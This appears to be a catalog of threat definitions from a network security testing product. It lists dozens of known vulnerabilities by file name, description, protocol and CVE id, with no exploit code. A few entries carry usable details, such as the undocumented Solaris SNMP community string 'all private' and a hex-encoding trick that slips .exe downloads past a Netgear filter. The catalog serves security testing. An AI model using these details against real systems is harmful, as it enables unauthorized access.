Detailed Description:	A denial of service vulnerability exists in the Oracle Database Server. The vulnerability is due to an input validation error in the TNS Listener component when handling an invalid TNS data packet. Remote unauthenticated attackers could exploit this vulnerability by sending a specially crafted TNS packet. As a result of processing the malicious packet, the server process will terminate resulting in the Denial of Service condition. In a successful attack case, the Listener component process on the server will terminate resulting in the Denial of Service condition. Normal operation can be restored by restarting the affected process.
Protocol Type:	TNS
CVEID:	CVE-2009-0991
Threat Package:	Standard
Threat File Name:	guestbook_xss_IPv6.xml
Executive Description:	Toms Guestebuch 1.00 (IPv6 Version)

Detailed Description:	This threat sends a crafted URL that contains Javascript to be included in the returned page. Toms Guestebuch is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat File Name:	fsd_help_bof.xml
Executive Description:	FSD Exechelp And Execmulticast(HELP) Remote Buffer Overflow Vulnerability
Detailed Description:	This threat demonstrates a buffer overflow in FSD Exechelp that results in execution of arbitrary code via a long HELP command on TCP port 3010 to the sysuser::exechelp function.
Protocol Type:	Proprietary
CVEID:	CVE-2007-5256
Threat Package:	Standard
Threat File Name:	FSC20090720-04_RealNetworks_Helix_Server_RTSP_SET_PARAMETERS_Request_Denial_of_Service.xml
Executive Description:	RealNetworks Helix Server RTSP SET_PARAMETERS Request Denial of Service
Detailed Description:	There exists a denial of service vulnerability in RealNetworks Helix Server. The vulnerability is due to a logic error in the way RealNetworks Helix Server and Helix Mobile Server handle RTSP requests. Remote unauthenticated attackers can exploit this vulnerability by sending a crafted RTSP SET_PARAMETER request to the affected server. As a result of processing the malicious command, a denial of service condition will be created on the target system, the affected service may become unresponsive until it is restarted.
Protocol Type:	RTSP
CVEID:	CVE-2009-2533
Threat Package:	Standard
Threat File Name:	eXtremail_v6_plain_auth_bof_IPv6.xml
Executive Description:	eXtremail <= 2.1.1 PLAIN authentication (v6) Remote Stack Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat demonstrates a buffer overflow in eXtremail 2.1.1 that results in execution of arbitrary code via a long string in an IMAP AUTHENTICATE PLAIN action. This threat is delivered to the IMAP port 143/tcp. (IPv6 Version)
Protocol Type:	IMAP/IPv6
CVEID:	CVE-2007-5466
Threat Package:	Standard
Threat File Name:	x86NOOPudp8_IPv6.xml
Executive Description:	UDP x86 NOOP Variant 8 (IPv6 Version)
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure greater probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives. (IPv6 Version)
Protocol Type:	UDP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20100615-13_Apple_Safari_Webkit_Attribute_Child_Removal_Code_Execution_IPv6.xml
Executive Description:	Apple Safari Webkit Attribute Child Removal Code Execution (IPv6)
Detailed Description:	A vulnerability has been reported in Apple Safari's Webkit that could allow remote attackers to execute arbitrary code on a vulnerable system. The vulnerability is due to the vulnerable application's process for destructing attribute objects via the removeChild method. Remote attackers could exploit this vulnerability by enticing the target user to open a maliciously crafted web page. Successful exploitation could result in execution of arbitrary code within the security context of the current user. An unsuccessful attempt will terminate the affected application abnormally. (IPv6)
Protocol Type:	IPv6/HTTP/HTTPS
CVEID:	CVE-2010-1119
Threat File Name:	FSC20070425-18_Apple_QuickTime_Crafted_Media_File_FlipFileTypeAtom_BtoN_Integer_Underflow_IPv6.xml
Executive Description:	Apple QuickTime Crafted Media File FlipFileTypeAtom_BtoN Integer Underflow (IPv6 Version)
Detailed Description:	There exists a vulnerability in Apple QuickTime. The flaw is due to an integer underflow error in the "FlipFileTypeAtom_BtoN" function when processing crafted QuickTime media files. Successful exploitation allows remote attackers to execute arbitrary code under the context of the currently logged-in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2296
Threat Package:	Standard
Threat File Name:	TSL20140717-06_Apache_HTTP_Server_mod_proxy_Denial_of_Service.xml
Executive Description:	Apache HTTP Server mod_proxy Denial of Service
Detailed Description:	A denial of service vulnerability exists in Apache HTTP server. The vulnerability exists in the mod_proxy module and is due to an error handling malformed HTTP headers. A remote, unauthenticated attacker can leverage this vulnerability by sending a malicious request to the target server. Successful exploitation would result in a denial of service condition on the target.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-0117
OSVDB:	109232
Threat File Name:	lupper31_IPv6.xml
Executive Description:	Lupper Worm 31 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	FSC20071023-23_IBM_Lotus_Notes_MIF_Attachment_Viewer_Buffer_Overflow.xml
Executive Description:	IBM Lotus Notes MIF Attachment Viewer Buffer Overflow

Detailed Description:	Multiple buffer overflow vulnerabilities exist in IBM Lotus Notes attachment viewer. The vulnerabilities are result of insufficient boundary checking while processing the Frame Maker Interchange File (MIF) files. A remote attacker can exploit these vulnerabilities by enticing the target user to open a crafted MIF email attachment, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	IMAP
Threat Package:	Standard
Threat File Name:	FSC20100119-11_HP_Power_Manager_formExportDataLogs_Directory_Traversal.xml
Executive Description:	HP Power Manager formExportDataLogs Directory Traversal
Detailed Description:	A directory traversal vulnerability exists in HP Power Manager. The vulnerability is due to an input validation error while processing parameters sent to the formExportDataLogs form of the web based management web server. Remote unauthenticated attackers can exploit this vulnerability to overwrite arbitrary files with attacker-controlled data on the target system by sending malicious HTTP requests. Successful exploitation could lead to injection and execution of arbitrary code on the target system within the security context of SYSTEM.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-4000
Threat Package:	Standard
Threat File Name:	TSL20120106-04_Apple_QuickTime_JPEG_2000_COD_Length_Integer_Underflow_IPv6.xml
Executive Description:	Apple QuickTime JPEG 2000 COD Length Integer Underflow(IPv6 Version)
Detailed Description:	A remote code execution vulnerability exists in Apple's QuickTime media player. The vulnerability is due to a memory corruption caused by insufficient validation of a JPEG 2000 COD marker segment's length value. The affected value is subtracted from, causing an underflow, before being used in a memory operation. A remote attacker could entice a target user to open a crafted JPEG 2000 file to exploit this vulnerability. A successful exploitation attempt could result in the execution of arbitrary code in the target user's security context.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS
CVEID:	CVE-2011-3250
Threat File Name:	phpcommunitycalendar_xss_b_IPv6.xml
Executive Description:	phpCommunityCalendar 4.0.3 Cross Site Scripting Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP query containing HTTP to be included in the returned page via event.php's "link" parameter. phpCommunityCalendar is a web based application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2798
Threat Package:	Standard
Threat File Name:	TSL20110722-15_Oracle_Secure_Backup_Administration_Server_validate_login_Command_Injection.xml
Executive Description:	Oracle Secure Backup Administration Server validate_login Command Injection
Detailed Description:	A command injection vulnerability exists in Oracle Secure Backup Administration server. The vulnerability is due to insufficient filtering of user supplied data to the login.php script used in the administration server. Remote unauthenticated attackers can exploit this vulnerability by sending a crafted HTTP request to the target host. Successful exploitation would allow for arbitrary command execution in the security context of the user running the web server of Oracle Secure Backup. The behaviour of the target is entirely dependent on the intended function of the injected command.
Protocol Type:	HTTPS
CVEID:	CVE-2011-2261
Threat File Name:	FSC20071011-09_CA_Multiple_Products_DBASVR_RPC_Server_Crafted_Pointer_Buffer_Overflow_IPv6.xml
Executive Description:	CA Multiple Products DBASVR RPC Server Crafted Pointer Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in multiple CA products. The problem specifically exists within DBASVR.exe, the Backup Agent RPC Server. The vulnerability is due to failing to bound check user supplied data in certain RPC requests. A remote unauthenticated attacker can exploit this vulnerability by sending a specially crafted RPC request to the affected interface. Successful exploitation would may lead to arbitrary code injection and execution with the privileges of the server process, typically System. (IPv6 Version)
Protocol Type:	DCE-RPC/IPv6
CVEID:	CVE-2007-5329
Threat Package:	Standard
Threat File Name:	phpwebsite_sqli_IPv6.xml
Executive Description:	PHPWebsite SQL injection vulnerability (IPv6 Version)
Detailed Description:	This threat sends an HTTP query containing an SQL statement which is executed by the server with its permissions. PHPWebsite is a web application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat File Name:	TSL20120612-16_Microsoft_Internet_Explorer_Col_Element_Heap_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Col Element Heap Memory Corruption
Detailed Description:	A remote code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the improper processing of the Col Element in an HTML table tag, which could lead to heap memory corruption. A remote, unauthenticated attacker can exploit this vulnerability by enticing a target user to open an HTML document with Internet Explorer. A successful exploitation attempt could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-1876
OSVDB:	82866
Threat File Name:	TSL20110411-03_Novell_ZENworks_Asset_Management_File_Upload_Directory_Traversal_IPv6.xml
Executive Description:	Novell ZENworks Asset Management File Upload Directory Traversal(IPv6 Version)

Detailed Description:	<p>A directory traversal vulnerability exists in Novell ZENworks Configuration Management. The vulnerability is due to insufficient input validation within the ZENworks Server's FileUploadServlet. Remote unauthenticated attackers can leverage this vulnerability to upload malicious files anywhere onto the target server. Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the vulnerable system with the privileges of the Administrator user. In this case, the behaviour of the target machine is dependent on the logic of the malicious code.</p> <p>A directory traversal vulnerability exists in Novell ZENworks Configuration Management. The vulnerability is due to insufficient input validation within the ZENworks Server's FileUploadServlet. Remote unauthenticated attackers can leverage this vulnerability to upload malicious files anywhere onto the target server. Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the vulnerable system with the privileges of the Administrator user. In this case, the behaviour of the target machine is dependent on the logic of the malicious code.</p> <p>A directory traversal vulnerability exists in Novell ZENworks Configuration Management. The vulnerability is due to insufficient input validation within the ZENworks Server's FileUploadServlet. Remote unauthenticated attackers can leverage this vulnerability to upload malicious files anywhere onto the target server. Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the vulnerable system with the privileges of the Administrator user. In this case, the behaviour of the target machine is dependent on the logic of the malicious code.</p>
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2010-4229
Threat File Name:	TSL20120814-09_Microsoft_Windows_Common_Controls_MSCOMCTL_OCX_Remote_Code_Execution.xml
Executive Description:	Microsoft Windows Common Controls MSCOMCTL.OCX Remote Code Execution
Detailed Description:	A remote code execution vulnerability exists in Microsoft Windows Common Controls. The vulnerability is due to insufficient validation by the ActiveX control MSCOMCTL.TabStrip.This vulnerability can be exploited by remote, unauthenticated attackers by enticing a user to open a malicious document. Successful exploitation could result in arbitrary code execution in the context of the currently logged on user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-1856
OSVDB:	84593
Threat File Name:	FSC20080122-22_Apache_HTTP_Server_mod_negotiation_Filename_Handling_Cross_Site_Scripting_IPv6.xml
Executive Description:	Apache HTTP Server mod_negotiation Filename Handling Cross Site Scripting (IPv6 Version)
Detailed Description:	There exist a cross-site scripting vulnerability in Apache mod_negotiation Module. The flaw is due to lack of validation of the user supplied input data. The flaw may be exploited by malicious users to execute arbitrary HTML code on target user's web browser, within the context of a trusted web site. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-0455
Threat Package:	Standard
Threat File Name:	wzdftpd_user_bof_IPv6.xml
Executive Description:	wzdftpd USER Command Remote Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a maliciously crafted USER string to leverage a stack overflow vulnerability in Wzdftpd 0.8.2 that will lead to execution of code on the effected server. WarFTP is FTP server software that typically listens on tcp port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2007-5300
Threat Package:	Standard
Threat File Name:	sipunknownscheme_IPv6.xml
Executive Description:	SIPPING: Unknown Request-URI Scheme (IPv6 Version)
Detailed Description:	This threat sends out a SIP OPTIONS message with an unknown scheme instead of a sip: URI. Because this is unexpected, this may confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	sendmail_decode_IPv6.xml
Executive Description:	Sendmail UUDecode Vulnerability (IPv6 Version)
Detailed Description:	This threat can cause older versions of sendmail to create a file in an arbitrary position specified by an attacker. This is done by taking advantage of a UUEncoding and Decoding feature present in older implementations. Sendmail is a SMTP server, and typically listens on port 25. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-1999-0096
OSVDB:	196
Threat Package:	Standard
Threat File Name:	FSC20080131-07_Oracle_Database_Server_XDB_PITRIG_TRUNCATE_and_DROP_Procedures_SQL_Injection_IPv6.xml
Executive Description:	Oracle Database Server XDB PITRIG TRUNCATE and DROP Procedures SQL Injection (IPv6 Version)
Detailed Description:	There exists an SQL injection vulnerability in Oracle Database Server product. The vulnerability exists due to insufficient validation of arguments supplied to procedures PITRIG_TRUNCATE and PITRIG_DROP in XDB.XDB_PITRIG_PKG package. A remote attacker with valid user credentials may leverage this vulnerability to inject and execute arbitrary SQL code within the security context of the database system administrator. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
Threat Package:	Standard
Threat File Name:	netgear_unauthorized.xml
Executive Description:	Netgear URL Blocking Bypass
Detailed Description:	This threat attempts to download a file labeled malware.exe off of a webserver. If a Netgear router is configured to block all files with an extension of .exe, it will still allow this request through due to hex encoding of the character X to %78.
Protocol Type:	HTTP
CVEID:	CVE-2005-0290
OSVDB:	13011

Threat Package:	Standard
Threat File Name:	outlook_device.xml
Executive Description:	AUX Email Attachment
Detailed Description:	This threat sends an email with an attachment filename of 'aux'. This can cause some email clients on Microsoft Windows to crash, since this is a reserved filename to represent system devices. This threat is presented as an email being delivered via SMTP to a mailserver. Mailservers typically listen on port 25.
Protocol Type:	SMTP
OSVDB:	18243
Threat Package:	Standard
Threat File Name:	FSC20100330-08_Microsoft_Internet_Explorer_onreadystatechange_Use_After_Free_Vulnerability_IPv6.xml
Executive Description:	Microsoft Internet Explorer onreadystatechange Use After Free Vulnerability(IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due an error in the handling of deleted or uninitialized HTML objects. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.(IPv6 Version)
Protocol Type:	HTTP/HTTPS/IPv6
CVEID:	CVE-2010-0491
Threat Package:	Standard
Threat File Name:	pathos_rfi_IPv6.xml
Executive Description:	Pathos CMS 0.92-2 (warn.php file) Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.ArticleBeach Script is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1907
Threat Package:	Standard
Threat File Name:	FSC20070911-14_Microsoft_Visual_Studio_PDWizard_ocx_ActiveX_Control_Code_Execution_IPv6.xml
Executive Description:	Microsoft Visual Studio PDWizard.ocx ActiveX Control Code Execution (IPv6 Version)
Detailed Description:	There exists a access control weakness vulnerability in the way Microsoft Visual Basic ActiveX Control handles user supplied data. The vulnerability is a result of insufficient data validation while processing the StartProcess method call from a webpage script. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious webpage, potentially allowing arbitrary code to be executed in the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-4891
Threat Package:	Standard
Threat File Name:	TSL20110825-06_Apple_QuickTime_PICT_Image_PnSize_Opcode_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Apple QuickTime PICT Image PnSize Opcode Stack Buffer Overflow(IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in Apple's QuickTime media suite. The vulnerability is due to a an error in converting an unsigned 16-bit value into a signed 32-bit value when processing a PICT image. The converted value is used in a memory copy onto the stack. An attacker can exploit this vulnerability by enticing a target user to open a malicious PICT image with a vulnerable version of the affected software. Successful exploitation of this vulnerability can result in arbitrary code execution. An unsuccessful exploitation attempt may lead to abnormal application termination
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-0257
Threat File Name:	ipv6_SymantecFirewallTCPOptions.xml
Executive Description:	IPv6 Symantec Firewall TCP Options attack
Detailed Description:	This threat sets TCP options in a way that causes the Symantec Firewall software to enter a infinite loop. This causes a denial of service on the machine since the code executing is within kernel space.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	fuzz-ARP_protoAddrSize_IPv6.xml
Executive Description:	Fuzzer for Protocol:ARP and Field:protoAddrSize (IPv6 Version)
Detailed Description:	(IPv6 Version)
Protocol Type:	ARP/IPv6
Threat Package:	Fuzzing
Threat File Name:	FSC20090715-05_ISC_DHCP_dhclient_script_write_params_Stack_Buffer_Overflow.xml
Executive Description:	ISC DHCP dhclient script_write_params Stack Buffer Overflow
Detailed Description:	There exists a stack buffer overflow vulnerability in ISC DHCP dhclient. The vulnerability is due to a boundary error in parsing specially crafted subnet-mask option in DHCP responses sent from a server. Attackers in a network can exploit this vulnerability by running a malicious DHCP server, or by injecting malicious content in responses sent from an authentic server. A successful attack targeting this vulnerability could allow remote attackers to inject and execute arbitrary code on the vulnerable system within the security context of the 'root' user. In an attack case where code execution is not successful, the affected application will terminate abnormally.
Protocol Type:	DHCP
CVEID:	CVE-2009-0692
Threat Package:	Standard
Threat File Name:	TSL20161213-23_Microsoft_Edge_TypedArray.sort_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Edge TypedArray.sort Use After Free (IPv6 Version)

Detailed Description:	A use-after-free vulnerability exists in Microsoft Edge. This vulnerability is due to an error while handling objects in memory when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP, HTTPS, IPv6
CVEID:	CVE-2016-7288
Threat File Name:	TSL20151209-12_Schneider_Electric_ProClima_FlBookView_CopyAll_Memory_Corruption.xml
Executive Description:	Schneider Electric ProClima FlBookView CopyAll Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Schneider Electric ProClima. The vulnerability is due to a flaw in the CopyAll() method of the FlBookView ActiveX control, in which a user-supplied integer is interpreted as a memory address. A remote, unauthenticated attacker could exploit this vulnerability by enticing a victim user to browse to a malicious Web page. Successful exploitation could lead to arbitrary code execution under context of the user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2015-8561
Threat File Name:	TSL20130523-09_Apple_QuickTime_TeXML_textBox_Element_Memory_Corruption_IPv6.xml
Executive Description:	Apple QuickTime TeXML textBox Element Memory Corruption(IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Apple QuickTime. The vulnerability is due to insufficient validation of coordinate values in textBox and defaultTextBox in QuickTime TeXML files. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to process a maliciously crafted TeXML file. This can lead to code execution in the context of the affected user. If code execution is unsuccessful, a denial of service condition may result.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,IPv6
CVEID:	CVE-2013-1015
OSVDB:	93615
Threat File Name:	nocc_cmi_c_IPv6.xml
Executive Description:	NOCC Arbitrary Local File Inclusion \ Command Execution Vulnerability, footer.php (IPv6 Version)
Detailed Description:	This threat sends an HTTP query containing a path for a local (to the server) file to be included in the servers output. NOCC is a web application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat File Name:	swat_dos_IPv6.xml
Executive Description:	Samba SWAT Denial of Service (IPv6 Version)
Detailed Description:	This threat exploits a weakness in the Samba SWAT HTTP daemon. Causes a crash in the service, denying access to legitimate users. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0600
OSVDB:	8190
Threat Package:	Standard
Threat File Name:	ms05002_ani.xml
Executive Description:	MS05-002 Animated Cursor Vulnerability
Detailed Description:	This threat is an attack on vulnerable versions of Microsoft's Internet Explorer, causing a buffer overflow condition. This threat typically comes from a webserver listening on port 80. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-0416
OSVDB:	16430
Threat Package:	Standard
Threat File Name:	phpmychat_xss_b.xml
Executive Description:	PHPMyChat style.css.php Cross-Site Scripting Vulnerabilities
Detailed Description:	This threat sends a crafted URL that contains Javascript to be included in the returned page. PHPMyChat is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-3991
OSVDB:	21545
Threat File Name:	FSC20080603-04_Alt-N_MDaemon_WorldClient_Service_Memory_Corruption_IPv6.xml
Executive Description:	Alt-N MDAemon WorldClient Service Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Alt-N Technologies MDAemon WorldClient. The vulnerability is due to a NULL pointer dereference in processing a malicious HTTP POST request. A remote unauthenticated attacker can exploit this vulnerability by sending a specially crafted request to the target server, causing the server to crash thereby resulting in a denial of service. (IPv6 Version)
Protocol Type:	HBCI/IPv6
CVEID:	CVE-2008-2631
Threat Package:	Standard
Threat File Name:	FSC20101214-44_Microsoft_Internet_Explorer_CSS_Import_Use-After-Free_Code_Execution.xml
Executive Description:	Microsoft Internet Explorer CSS Import Use-After-Free Code Execution
Detailed Description:	A unpatched code execution vulnerability exists in Microsoft's Internet Explorer. The vulnerability is due to the way mshtml.dll handles CSS files with multiple import statements. An attacker may exploit this vulnerability by enticing a user to open a specially crafted CSS file. Successful exploitation will lead to a use-after-free condition which an attacker may be able to exploit to execute arbitrary code in the security context of the Internet Explorer.
Protocol Type:	HTTP,HTTPS
Threat File Name:	oracle_web_plsql_2_IPv6.xml
Executive Description:	Oracle PLSQL Bypass Attack Two (IPv6 Version)
Detailed Description:	This threat bypasses the Oracle PLSQL gateway by supplying a unicode character which gets translated to plain ascii after the filter in the URL. This allows a user to access any system tables in the database server. Oracle PLSQL is a web application, that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard

Threat File Name:	FSC20041123-01_Cyrus_IMAP_Server_IMAPMAGICPLUS_Buffer_Overflow_IPv6.xml
Executive Description:	Cyrus IMAP Server IMAPMAGICPLUS Buffer Overflow (IPv6 Version)
Detailed Description:	There is a vulnerability in the way Cyrus IMAP Server processes the LOGIN commands. When the server option IMAPMAGICPLUS is enabled, an overly long username parameter passed to these commands will trigger a stack-based buffer overflow. An attacker can leverage this vulnerability to execute arbitrary code on the target with the privileges of standard system user. (IPv6 Version)
Protocol Type:	IMAP/IPv6
CVEID:	CVE-2004-1011
Threat Package:	Standard
Threat File Name:	TSL20120912-01_Adobe_Flash_Player_copyRawDataTo_Out_of_Bounds_Array_Indexing_IPv6.xml
Executive Description:	Adobe Flash Player copyRawDataTo Out of Bounds Array Indexing(IPv6_Version)
Detailed Description:	A memory corruption vulnerability has been reported in Adobe Flash Player. The vulnerability is due to an out of bounds array copy in the copyRawDataTo() method of Matrix3D class. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to download and process a maliciously crafted file. This can lead to code execution in the context of the affected application.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-N/A
OSVDB:	N/A
Threat File Name:	phpcommunitycalendar_sqli_c_IPv6.xml
Executive Description:	phpCommunityCalendar 4.0.3 SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP query containing an SQL query which is executed by the server via delCalendar.php's CalendarDetailsID parameter. phpCommunityCalendar is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2797
Threat Package:	Standard
Threat File Name:	veritas_netbackup_sof_IPv6.xml
Executive Description:	Veritas NetBackup Stack Overflow (IPv6 Version)
Detailed Description:	This threat sends a malicious packet to the NetBackup daemon leading to a stack overflow. NetBackup is an ftp server that typically listens on port 13701. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2005-3116
OSVDB:	20674
Threat File Name:	TSL20080118-02_Nullsoft_Winamp_Ultravox_Streaming_Metadata_Parsing_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Nullsoft Winamp Ultravox Streaming Metadata Parsing Stack Buffer Overflow IPv6 version.
Detailed Description:	There exists a buffer overflow vulnerability in Nullsoft Winamp Player. The vulnerability is due to boundary errors when parsing metadata in Ultravox streaming protocol. An attacker may exploit the vulnerability by enticing a user to visit a malicious server with the affected product, resulting in execution of arbitrary code on the target host within the security context of the currently logged in user. In an attack case where code injection is not successful, the affected application may terminate upon processing of the malicious Ultravox Streaming Metadata. In a more sophisticated attack, where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the currently logged in user. Tester should turn variable \$destPort into 8090 before test.
Protocol Type:	Ultravox Stream Protocol (HTTP-based).IPv6
CVEID:	CVE-2008-0065
OSVDB:	41707
Threat File Name:	FSC20060314-07_Microsoft_Excel_Malformed_Range_Code_Execution_IPv6.xml
Executive Description:	Microsoft Excel Malformed Range Code Execution (IPv6 Version)
Detailed Description:	There exists a code execution vulnerability in Microsoft Excel. The vulnerability is caused by improper sanitization of Named Ranges in Excel spreadsheet files. An attacker may exploit this vulnerability by enticing a user to open a crafted Excel file, which will enable the attacker to inject and execute arbitrary code within the security context of the target user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-4131
Threat Package:	Standard
Threat File Name:	IEformurispoof.xml
Executive Description:	IE HTML Form Tags Obfuscation
Detailed Description:	This threat creates what looks like a link to a trusted website, but instead causes a form request for a different website. This can be used to fool a user to visit an incorrect website. Combined with other phishing and spoofing attacks, this can be used to steal information from unsuspecting users. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2004-1104
OSVDB:	12342
Threat Package:	Standard
Threat File Name:	FSC20071214-06_Novell_GroupWise_Client_IMG_Tag_SRC_Parameter_Buffer_Overflow.xml
Executive Description:	Novell GroupWise Client IMG Tag SRC Parameter Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Novell GroupWise Client. The vulnerability is due to a boundary error when processing crafted emails, containing malicious HTML IMG tags. A remote unauthenticated attacker could exploit this vulnerability by sending malicious emails to the target user. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the client process, normally equal to the logged-in user privileges.
Protocol Type:	SMTP
CVEID:	CVE-2007-6435
Threat Package:	Standard
Threat File Name:	vmware_intraproclog_dll_activex_overwrite.xml
Executive Description:	VmWare Inc IntraProcessLogging.dll 5.5.3.42958 Arbitrary Data Write Vulnerability

Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the VMware IntraProcessLogging.dll ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80
Protocol Type:	HTTP
CVEID:	CVE-2007-4059
Threat Package:	Standard
Threat File Name:	TSL20130523-11_Apple_Quicktime_MJPEG_Frame_std_Atom_Heap_Overflow_IPv6.xml
Executive Description:	Apple Quicktime MJPEG Frame std Atom Heap Overflow [IPv6, Version]
Detailed Description:	A heap overflow vulnerability exists in Apple Quicktime. The vulnerability is due to improper processing of mjpeg movies with an improper jpeg frame size in the std atom. This vulnerability can be exploited by a remote attacker by enticing the target user to open a specially crafted file with the affected application. Successful exploitation could result in arbitrary code execution in the context of the currently logged-in user.
Protocol Type:	IPv6, SMB/CIFS, HTTP, HTTPS, NFS, IMAP, POP3, SMTP
CVEID:	CVE-2013-1020
OSVDB:	93621
Threat File Name:	TSL20141209-27_Adobe_Flash_parseFloat_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Adobe Flash parseFloat Stack Buffer Overflow IPv6 version.
Detailed Description:	A stack based buffer overflow has been reported in Adobe Flash. The vulnerability is due to insufficient checks on a buffer size prior to a copy operation. A remote unauthenticated attacker could exploit this vulnerability by enticing a user to open a page embedding a maliciously crafted SWF file. Successful exploitation could lead to arbitrary code execution under the security context of the running process.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS.IPv6
CVEID:	CVE-2014-9163
OSVDB:	115560
Threat File Name:	TSL20131101-04_HP_SiteScope_issueSiebelCmd_SOAP_Request_Code_Execution.xml
Executive Description:	HP SiteScope issueSiebelCmd SOAP Request Code Execution
Detailed Description:	A command execution vulnerability has been found in HP SiteScope. The vulnerability is due to lack of authentication when handling "issueSiebelCmd" SOAP requests. A remote unauthenticated attacker can exploit this vulnerability by sending crafted requests to the affected service. Successful exploitation of these vulnerabilities can lead to arbitrary command execution.
Protocol Type:	SOAP/HTTP
CVEID:	CVE-2013-4835
OSVDB:	99230
Threat File Name:	solaris_snmp_hidden.xml
Executive Description:	Solaris Hidden Community String
Detailed Description:	This threat sends out a SNMP request with a community string of 'all private'. This is an undocumented community string that allows access to the Solaris system.
Protocol Type:	SNMP
CVEID:	CVE-1999-0186
OSVDB:	11964
Threat Package:	Standard
Threat File Name:	FSC20060424-14_Mozilla_Firefox_JavaScript_Function_focus_Buffer_Overflow_IPv6.xml
Executive Description:	Mozilla Firefox JavaScript Function focus Buffer Overflow (IPv6 Version)
Detailed Description:	A remotely exploitable code execution vulnerability has been reported in the Mozilla Firefox product. The vulnerability is created as a result of a flaw in the implementation of the JavaScript focus method. Exploitation of this vulnerability may allow a malicious user to inject and execute arbitrary code on a target host within the security context of the current user. (IPv6 Version)
